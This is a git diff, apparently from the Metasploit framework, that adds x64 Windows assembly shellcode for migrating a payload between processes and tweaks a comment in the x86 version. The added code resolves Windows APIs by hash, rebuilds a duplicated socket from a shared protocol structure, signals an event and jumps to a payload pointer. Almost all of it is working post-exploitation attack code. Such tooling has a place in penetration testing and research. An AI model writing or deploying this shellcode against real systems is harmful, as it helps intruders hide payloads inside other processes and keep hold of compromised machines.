diff --git a/external/source/shellcode/windows/x64/src/single/migrate.asm b/external/source/shellcode/windows/x64/src/single/migrate.asm
new file mode 100644
index 0000000000..0acd0eb406
--- /dev/null
+++ b/external/source/shellcode/windows/x64/src/single/migrate.asm
@@ -0,0 +1,71 @@
+;-----------------------------------------------------------------------------;
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2008, 2003, XP
+; Architecture: x64
+; Version: 1.0 (Jan 2010)
+; Size: 306 bytes
+; Build: >build.py migrate
+;-----------------------------------------------------------------------------;
+
+; typedef struct MigrateContext
+; {
+; 	union
+; 	{
+; 		HANDLE hEvent;
+; 		BYTE bPadding1[8];
+; 	} e;
+; 	union
+; 	{
+; 		LPVOID lpPayload;
+; 		BYTE bPadding2[8];
+; 	} p;
+; 	WSAPROTOCOL_INFO info;
+; } MIGRATECONTEXT, * LPMIGRATECONTEXT;
+
+[BITS 64]
+[ORG 0]
+
+  cld                    ; Clear the direction flag.
+  mov rsi, rcx           ; RCX is a pointer to our migration stub context
+  sub rsp, 0x2000        ; Alloc some space on stack
+  and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
+  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+delta:                   ;
+%include "./src/block/block_api.asm"
+start:                   ;
+  pop rbp                ; Pop off the address of 'api_call' for calling later.
+  ; setup the structures we need on the stack...
+  mov r14, 'ws2_32'      ; 
+  push r14               ; Push the bytes 'ws2_32',0,0 onto the stack.
+  mov rcx, rsp           ; save pointer to the "ws2_32" string for LoadLibraryA call.
+  sub rsp, 408+8         ; alloc sizeof( struct WSAData ) bytes for the WSAData structure (+8 for alignment)
+  mov r13, rsp           ; save pointer to the WSAData structure for WSAStartup call.
+  sub rsp, 0x28          ; alloc space for function calls
+  ; perform the call to LoadLibraryA...
+  mov r10d, 0x0726774C   ; hash( "kernel32.dll", "LoadLibraryA" )
+  call rbp               ; LoadLibraryA( "ws2_32" )
+  ; perform the call to WSAStartup...
+  mov rdx, r13           ; second param is a pointer to this stuct
+  push byte 2            ;
+  pop rcx                ; set the param for the version requested
+  mov r10d, 0x006B8029   ; hash( "ws2_32.dll", "WSAStartup" )
+  call rbp               ; WSAStartup( 2, &WSAData );
+  ; perform the call to WSASocketA...
+  xor r8, r8             ; we do not specify a protocol
+  push r8                ; push zero for the flags param.
+  push r8                ; push null for reserved parameter
+  lea r9, [rsi+16]       ; We specify the WSAPROTOCOL_INFO structure from the MigrateContext
+  push byte 1            ;
+  pop rdx                ; SOCK_STREAM == 1
+  push byte 2            ; 
+  pop rcx                ; AF_INET == 2
+  mov r10d, 0xE0DF0FEA   ; hash( "ws2_32.dll", "WSASocketA" )
+  call rbp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, &info, 0, 0 );
+  mov rdi, rax           ; save the socket for later
+  ; perform the call to SetEvent...
+  mov rcx, qword [rsi]   ; Set the first parameter to the migrate event
+  mov r10d, 0x35269F1D   ; hash( "kernel32.dll", "SetEvent" )
+  call rbp               ; SetEvent( hEvent );
+  ; perform the call to the payload...
+  call qword [rsi+8]     ; Call the payload...
+  
\ No newline at end of file
diff --git a/external/source/shellcode/windows/x86/src/single/migrate.asm b/external/source/shellcode/windows/x86/src/single/migrate.asm
index b3acad7220..7108031e5b 100644
--- a/external/source/shellcode/windows/x86/src/single/migrate.asm
+++ b/external/source/shellcode/windows/x86/src/single/migrate.asm
@@ -1,6 +1,7 @@
 ;-----------------------------------------------------------------------------;
 ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
 ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Architecture: x86
 ; Version: 1.0 (Jan 2010)
 ; Size: 219 bytes
 ; Build: >build.py migrate
@@ -56,7 +57,7 @@ start:                   ;
   inc eax                ;
   push eax               ; Push AF_INET
   push 0xE0DF0FEA        ; hash( "ws2_32.dll", "WSASocketA" )
-  call ebp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
+  call ebp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, &info, 0, 0 );
   xchg edi, eax          ; Save the socket for later, we don't care about the value of eax after this
   
   push dword [esi]       ; Push the event